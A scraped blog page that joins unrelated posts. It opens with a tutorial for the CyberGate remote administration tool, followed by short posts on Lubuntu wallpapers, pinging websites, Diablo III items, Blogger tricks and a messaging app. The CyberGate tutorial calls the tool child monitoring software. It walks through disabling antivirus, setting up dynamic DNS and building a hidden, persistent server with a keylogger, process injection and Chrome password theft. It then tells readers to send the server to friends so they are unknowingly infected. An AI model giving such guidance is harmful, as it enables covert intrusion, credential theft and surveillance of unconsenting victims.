CyberGate Tutorial and Free Download






In this article I'll be showing you how to install and setup a software
called "Cybergate".This is a very effective Children Monitoring
software.These genre of Programs are commonly called "RATs (Remote Administration Tools)".With
this tool,it is possible to keep a complete watch on your child and his
activites on the computer .But you have to make sure you install a file
called "server.exe" some how or the other.The details I'll be providing
here.

THIS IS THE BEST WAY TO KEEP AN EYE ON YOUR LOVED ONEs WITHOUT EVEN INTEREFERING







Features of CyberGate:

Managers:
File Manager
Process Manager
Service Manager
Device Manager
Window Manager
Regitry Manager
Installed Programs
Active Port list

Spy:
Screen Capture
Webcam Capture
Password Recovery
Keylogger
Audio Capture

Network Tools:
Socks 4/5 Proxy
HTTP Proxy
Send File
Download and Execute
Open Webpage
URL Redirection

Extras:
Dos Prompt
Quick Search (for logs)
Chat
Extras (open-close CD-ROM etc.)
And Alot More!


Setting up and Installing Cybergate:

First of all download the software from this link.Make sure you don't
download them from any website as such as it might be infected with some
virus.Please make sure you disable your Anti-Virus before doing this as
it might be detected as well.Don,t Worry the Anti-Virus is just over
precautionary and tons of users worldwide you this software.If no you
can always good about it !

File Details: 
Download: Free Download Cybergate v1.07.5 RAT
File Size: 2.28 MB
File Extension: .rar (Compressed Archive)


1. Start off by going to No-IP.com And Register. If You Have An Account There Already, Then Just Log In.

2. Once You've Logged In, Press "Add Host"




3. Now It's Time To "Choose Your Host Name".





Hostname: YourHostName.no-ip.biz
Host Type: DNS Host (A)


Don't Care About The Rest, Once You've Choosen Your Host Name, Press "Create Host" In The Lower Right Bottom.

The Host Is Now Finished! Lets Move On To The No-IP Client.

1. The No-IP Client You Downloaded In The Beginning, Extract It To Your Desktop & Install It.

2. Now When You've Installed It, Open It Up , Log In With Your No-ip Username , Password.

3. When You're Logged In Press "Select Hosts" And Then Check That Little Box With Your Hostname.




Note: Always Have No-IP Open When You Have Cybergate Open!

There! Your No-IP Host !

Setting Up Cybergate 1.07.5

1. Extract The Cybergate File You Downloaded In The Beginning To Your
Desktop! Once Extracted, Open It,Wait 20 Seconds For The Agreement To
Pass!

2. When It's Open, Press: Control Center,Start.

3. Press: Control Center , Options , Select Listening Ports





4. Once You've Pressed The "Select Listening Ports" This Window Should Appear:




5.Firstly, Write "100" In That Little Box And Press The Blue Arrow. Then It Should Appear Under "Active Ports"

Active Ports: The Port You Will Forward Later!
Connections: Limit: The Max Amount Of Victims You Can Have.
Connection Password: The Connection Password. Use "123456"
[V] Show Password: (Shows Password)

Once This Is Done, Press "Save"!

6. Now We'll Go To The: Control Center , Build , Create Server.




User: First, Press "New" And Name It To: "Plutonium". Once Done, Press "OK"

Now Just Double Click On "Plutonium" Or Press "Plutonium" And Then Press "Forward"

7. Now We're In The "Connection" Tab.




First, Press "127.0.0.1 - 999" And Then Press Delete.Now Press "Add" And Write Your Hostname In It + :100.Like This:


YourHostName.No-ip.biz:100


Change The Identification To: Cyber
Change The PW To: 123456

Note: If You Want To Try The Server On Yourself, Then Delete Both:

- 127.0.0.1:999
- YourHostName.No-ip.biz

And Replace Them With; 127.0.0.1:100 Since 127.0.0.1 Means "Local Computer or LAN Internet"

Make The DNS/HostName Server First Though!

DNS: Your Host Name, EG:
Quote:
YourHostName.no-ip.biz
Port: The Port You Will Forward Later.
Identification: The slave Name
PW: The Password You Wrote In The Options, "123456"

8. Once You're Done With Theese, You'll Move On To The "Installation" Tab.





9. Have The Same Settings As I Do, And Follow The Instructions In The Image!

Install Directory: Where The Server Installs,

%System%
%Windows%
%Root%
%Program Files%
%Other%

Use The "System"!

Boot: This Is The "Startup" Option. Have Everything Checked.Press
"Random" 5 Times And It Will Startup On Your slave Everytime They Start
Their Computer!

Directory: Where The Virus Folder Installs
File Name: What The File Will Be Inside The Folder.
Inject Into: What Process It Injects into, Use Default Browser!
[V] Persistance: Keeps Trying To Inject Until Succed.
[V] Hide File: Hides The File, (Not FUD Though!)
[V] CCD: Changes The Creation Date From 16th July To 4 September 2005.
Mutex: Mutex Of The Server, Just Press Random A Couple Of Times!

There We Go, You've Now Completed The "Installation" Tab! Skip The Message of Keylogger Since They Are Pre-Set Already!

10. You Should Now Have Trumbled Into The "Antis" Tab, Have Everything
Checked! (Except SANDBOXIE If You Are Gonna TRY IT ON YOURSELF!)





Ok, The Final Tab.. "Creation Of The Server". Have Every Setting As Me!



[V] Use Icon: Yes
[V] Delayed Execution: (How Many Seconds It Takes Until Your Server Injects And They Pop Up In Your RAT)
[V] Google Chrome PW: Yes, Steals Their GC Passwords :)
[X] Bind Files: No, Get An Real Binder Instead! (Have Your Server Crypted Though First!)
[X] Compress With UPX: Makes The Server Smaller But More AV's Detects It!


So after doing all that you have successfully setup your own RAT server which is ready to be tested on yours friends !

Troubleshooting:

Make Sure That....

1.You are properly port-forwarded if using a router.
2.You have the No-IP Client installed and running.
3.Your DNS entries are correctly spelled when building your server.
4.The password in Listening Ports and the password your server uses are identical.
5.You are Listening on the correct ports.
6.Your Firewall is letting connections through on the port you're listening on.
7.Your server is added to excluded files in your Antivirus and Firewall.


What next ?

Now all you have to do is send this file to your friend and make sure he
opens it.Once he does so he just won't realize that you actually
infected him and your getting all the data from his computer.Make sure
you use it only to prank and not to misuse this tool in any way !


Credits: Plutonium


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Community wallpaper contest results

Alexander Andjelkovic, from the Lubuntu Artwork Team, announced the results of the Community Wallpaper Contest for the 13.04 release of Lubuntu. The results for our wallpapers contest are in, and can be viewed in detail at Picomp.




The winners are:
1. 'nature' by wakarii (80 Votes)2. 'Frost Glas' by Tylana (74 Votes)3. 'Simple. Fast. Lubuntu.' by Julian Fernandes (72 Votes)4. 'Squares' by Ray
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Smart Ways to Promote Your Website Or Blog

If you are running an online business or a blogger/website owner, it's essential and critical important for you to promote your website, get more visitors to your website and grow your blog. and thus...
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Finding Ip Address Of A Website Using Command Prompt Or CMD





In this tutorial i will teach you to find Ip Address of any website using Command Prompt or in short CMD. Using IP Address you can find location of the website server and do more stuff. I will demostrate this tutorial with Google but you can use this method to find IP Address of any website like twitter, facebook etc. So lets get started.


How to find IP ?


1. Go to Start > Type CMD and press Enter.
2. Now write Ping followed by website URL whose IP you want to find.

finding ip adddress of website




3. It will take less then a second and come up with the results as shown below.



finding ip adddress of website


In  my next post i will show you another easy way to find website IP Address and teach you to use this IP to find its location.


You may also like to read:





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How to increase Security of Google Account with 2 Step Verification

Google Account: simply a Gmail account, which allow you to use all products of Google inc. For example, Gmail for mailing facilities, send mails, receive mails, Blogger for blogging, Google...
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Developer Journal: Itemization Update

Blizzard tracker: March 5, 2013

Developer Journal: Itemization Update
The item hunt is core to the Diablo experience and we're determined to make it even better in Diablo III. We've made several adjustments to the item game since launch with this goal in mind, but today I wanted to talk about a few of the underlying philosophies that are driving future changes to itemization.
Rarity = Power
One of the big things we want to focus on is making sure items that feel like they are rare and powerful are actually powerful . . .  instead of just rare. The first and most obvious place for improvement here is Legendaries.
By design, Legendary items are going to drop far less often than Rare items, and we want that rarity to be reflected in their power. When a Legendary drops, the question that goes through a player's mind should never be "is this a good item?" It should be "how awesome is it?" For example, if you are playing a Demon Hunter wielding a Rare crossbow and a Legendary crossbow drops, we want your reaction to be "Holy crap, YES!" not "*sigh* another Hellrack." It's a problem if players don't want to bother identifying their Legendaries, let alone pick them up. We want to change this.
Legendary Stat Ranges:
Lots of factors go into making an item good, and one of those factors is how high the stats on the item can roll. When the game first launched, an item's potential stats were largely indicated by its item level. This made it so you'd know in advance whether or not an item was worth the trouble of identifying. In 1.0.5, we made it so that the stat ranges for affixes were based on the level of the monster or container that dropped the item rather than the item's level, which created the possibility of more items rolling competitive values.
We’d like to continue with this line of reasoning and use it to make Legendaries more powerful. In the future, we plan to allow Legendary items to also roll their base stats (weapon DPS and armor value) at the level of the monster that dropped them. So, for example, if you found a Heart of Iron from a level 63 monster, its base armor would be increased to that of Archon Armor and its stat ranges would roll at level 63. This gives us the opportunity to broaden the range of Legendary items, providing players with more diversity. Love Leoric's Signet, but hate wearing a level 17 ring? Me too. Instead of farming Act II Normal to find a Leoric's Signet, let's go farm Inferno and get a level 63 version of the ring!
(Everything we're suggesting for Legendaries also applies to Sets, too, by the way.)
Increased Item Diversity:
Item diversity is a topic that comes up a lot. Right now when people are talking about the best items in the game or looking for ways to improve their power they gravitate towards items with Critical Chance, Critical Damage, and Attack Speed. While these stats are great for boosting your damage they aren’t necessarily interesting or what we like to call "game changing."
300%20spear%20thumb.jpgthing%20of%20the%20deep%20thumb.jpg
We want players to feel like entire new builds can open up if they get their hand on the right items. Glimmers of this idea are already in the game with The Three Hundredth Spear and Thing of the Deep. The plan is to embrace the idea and push them to more extremes. Potential future Legendary item ideas include a Voodoo Mask that increases pet damage, a Barbarian set that makes Call of the Ancients last until they die (after we give them full pet survivability), a Wizard Orb that allowed for two Hydras to be active at once, or the "Ethereal" boots idea I posted here. While these specific ideas may not make it into the game, they are good examples of the kinds of game changing effects we want to introduce to items. It will take time, but our goal is to try to provide players with compelling alternatives to trifecta items when talking about what items they want to acquire.

Less is More

Between Paragon levels, Nephalem Valor stacks, and all the other assorted buffs and bonuses, it's possible to find a tremendous amount of Rare items during any given play session. But the quality of these Rare items just isn't where it needs to be, so even though players see a lot of them, they no longer feel special. When you identify hundreds of Rares and only a small percentage are worth equipping or selling, those items become a burden rather than something to get excited about. "Great. Now I have to identify them all, read their stats, and I’m probably going to salvage all of them." I feel your pain.
We want to make it fun and rewarding to hunt down new items through play, and really instill the feeling that your next awesome item could come from anywhere, and is just around the corner. We need to get rid of some of the clutter first, so we plan to reduce the frequency at which Rare items drop down the road.
Before anyone panics and posts an angry comment in the forums, this doesn't mean we want players to earn even fewer good items. It just means we don't feel it's necessary to present the player with hundreds of bad Rares for every one that they might want. As an example, suppose items currently roll between 1-100 Intelligence. Now, imagine that we dropped 25% as many items, but the Intelligence range was instead somewhere around 75-100. In the end, you'd find fewer items, but more of the items you find would be worth equipping. That's our goal.
(On the topic of identifying hundreds of Rares, it's worth adding that while most of this blog is about overall item philosophy and our goals down the road, one of the short-term changes we're making is adding an "Identify All" option, which should be coming in 1.0.8.)

Gold Sinks Should be Exciting

We frequently discuss the Diablo economy, as we want players to feel that gold is a valuable commodity, useful in ways beyond just the auction house. We don't want out of control inflation, but we also don’t think that taxing players is the proper approach. Ultimately, we want to provide players with things that they are excited to spend their hard-earned gold on.
The most concrete example of how we're supporting this philosophy would be the crafting recipes we introduced in patch 1.0.7. While they aren’t meant to be the silver bullet for all economic concerns, they provide more avenues for people to spend their gold to receive something they can be happy about—in this case, potential upgrades for their character or alts.

For more insight into Bind on Account items, check out Wyatt's 1.0.7 preview here.
Other avenues we want to explore include providing players with vanity options or potential ways to differentiate themselves from their friends or other characters (i.e. character customization options in terms of gear). We are also exploring ways to make crafting more exciting by adding not just more ways to make appealing items, but also introducing ways to modify existing items.

Farm Monsters, Not the Auction House

The auction house is a new addition to the Diablo franchise. And, while it serves many purposes for our players and helps to keep the economy fluid, some would argue that it has done more harm to the game than good. There is value to be had in providing players a way to freely exchange unwanted items for gold, or giving Demon Hunters an easy means to sell unwanted rubies in order to purchase emeralds, but the question has to be asked: is what the auction house provides worth what it took away from some players?
If the "right" way for some people to play the game changes from killing monsters to camping the auction house, is the game better off for it? Ultimately we don't think it is, but we also don't want to take something away that has become such an enjoyable part of the game for others. So, the question instead becomes: how can we refocus the end game away from farming the auction house back to farming monsters? It's a complicated issue, but one we are committed to addressing.
The first solution always presented when we discuss this problem is "Why don’t you just get rid of the auction house?" and while completely removing the feature would in fact fix the problem it created, it would also create a void that the auction house was originally designed to address. For example, we don't want players to feel like the only way to trade with other people is by sitting in chat and spamming "WTS [item link]" and "WTB [awesome item]" all day. This is definitely not ideal.
There are a number of ideas for how to address this long term that don't include removing the auction house outright, and most of the ideas are centered around giving players more ways to find items they are excited about:
  • One idea that we have discussed is “targeted Legendaries,” where named NPCs have an increased chance of dropping specific legendary items. For example, The Butcher could have an increased chance of dropping The Butcher's Carver.
  • Another idea is that we introduce a system that will help alleviate some of the bad randomness players encounter by ensuring that at least some of the Rare and Legendary items you find will be something good for your class.
  • We've also discussed allowing bosses the first time you kill them in each difficulty to have a guaranteed chance to drop a Legendary.
The list goes on and, as with all design, nothing is ever final. This is just a snapshot of what we're working on currently with regard to itemization, and we hope to provide more specifics as we get closer to implementing these changes into the live game. In the meantime, we'd love to hear what you think about our approach, since much of what's cited above has been inspired by your feedback.
Travis Day is a Game Designer for Diablo III. His brother, Morgan, also works at Blizzard Entertainment. They're kind of like the Venture Bros, except without the super violent, super secret agent bodyguard. Go Team Blizzard!
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Diablo 3 Patch 1.0.8 Features: Increased Mob Density, Multi Crafting, Class Item Changes, AH Tooltips and more

Blizzard tracker: March 5, 2012

Here are some upcoming 1.0.8 features posted by Travis Day at the official forums:

Source

Ok I've finally caught up on all the responses in every location I could find them! This blog was written a while ago and between when I wrote it and when we released it a lot more relevant ideas came up so I want to mention a couple of them. I'm going to keep this short and to the point so I can get back to working on actually improving the game instead of talking about it. ;)

Below is a list of things that players can hopefully expect to see as soon as patch 1.0.8.

Mob density 
Acts 1, 2, and 4 will be receiving some adjustments in Inferno difficulty games. We want to try to make all of the acts as comparable as possible so that players don't feel they always have to farm the same areas of the game repeatedly, diversity is the spice of life. 

Multi Craft
We want to make it easier to craft lots of items, so we plan on giving players the ability to specify how many of an item they want to craft and then to make that many. Want to make 20 Archon Shoulders of Dexterity? Cool, push the button and watch it go. 

AH tooltip compare
Ever wish you could compare the item you are thinking about buying with the item you are wearing? You want it, we want it, and we hope to have it in game soon.

In addition to the changes we introduce in 1.0.8 we also have longer term plans to address issues that need more attention. I mentioned a lot of these long term plans in the blog and outlined some of our philosophies that will drive the itemization of Diablo forward. One of those ideas that I saw mentioned repeatedly in response to the blog is the fact that class specific items can roll non class appropriate primary stats, we have plans to change this down the road. While random really is at the core of Diablo in so many ways this is certainly one of the areas where it has no potential to benefit players. Wizards don't use Strength, Demon Hunters don't use Intelligence so let's just remove those as potential random attributes on Orbs and Quivers respectively.
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blogger currently online viewers widgets checker

An Awesome ,simple and good looking blogger widget which tracks how many visitors are currently online on your blog.


open the below link:
http://whos.amung.us/showcase/

select the type of widget you like and simply copy the codes .
go to blogger dashboard / layouts / add widget (HTML java script)   and paste the code then save the changes and visit your blog ..

hope you all liked this ..comment below :)



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how to embed flash files in blogger?

Hey guys if you want to embed flash object or flash animated  SWF format image in blogger .Simply use this trick to and make your blog more interesting and look good.
example: you can design your own blog header as a flash file and give it a band new cool look by embedding to your blog.

If you want to embed flash in a particular page only -
then follow the below steps:
log in your blogger account
go to dashboard
make a new post
after writing your post simply at the end switch on from compose mode to HTML mode .

then anywhere in the post  use the below code where you feels like to embed  flash object ,between <br />      <br /> tag in the post :


<embed align="middle" allowscriptaccess="always" height="500" pluginspage="http://www.macromedia.com/go/getflashplayer" quality="high" src="paste the url of file uploaded.swf" type="application/x-shockwave-flash" width="700"></embed>

You can edit the code and adjust the height and width .
you can also change the quality of the flash animation quality=low/high/ accordingly.
In the above code where it says paste the URL of the file uploaded means that you have to upload the flash file which you have created or downloaded to some hosting site. Unfortunately blogger does not allow us to upload files but here a trick goes...
open   sites.google.com
sign in using your Google account
choose any template and provide a unique website name(any name )
now go to more / manage site /attachments and upload the .swf file
after uploading right click on download link and "copy link address "
and past the URL in the above code.
note: make sure to delete some redirect code after .swf in the copied link address to make it work.

then save and switch back to compose mode in blogger. Visit your blog and enjoy the flash object embedded.

keep on experimenting with your blog and  enjoy blogging, keep reading and sharing :)






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Free Sms Application For Android 2013 (Gup Shup Messenger)

Hello Friends,

 Everyone are familiar with What's Up Messenger but which is not free, Similar to What's Up theres a messenger called GUP SHUP Messenger which is a messenger software by which you can send sms to your friends and family which is absolutely free and this application is  available for Andriod, iOS, BlackBerry and Nokia S40 platform.

This free sms Application will work for all networks like Aircel, Airtel, Bsnl,...


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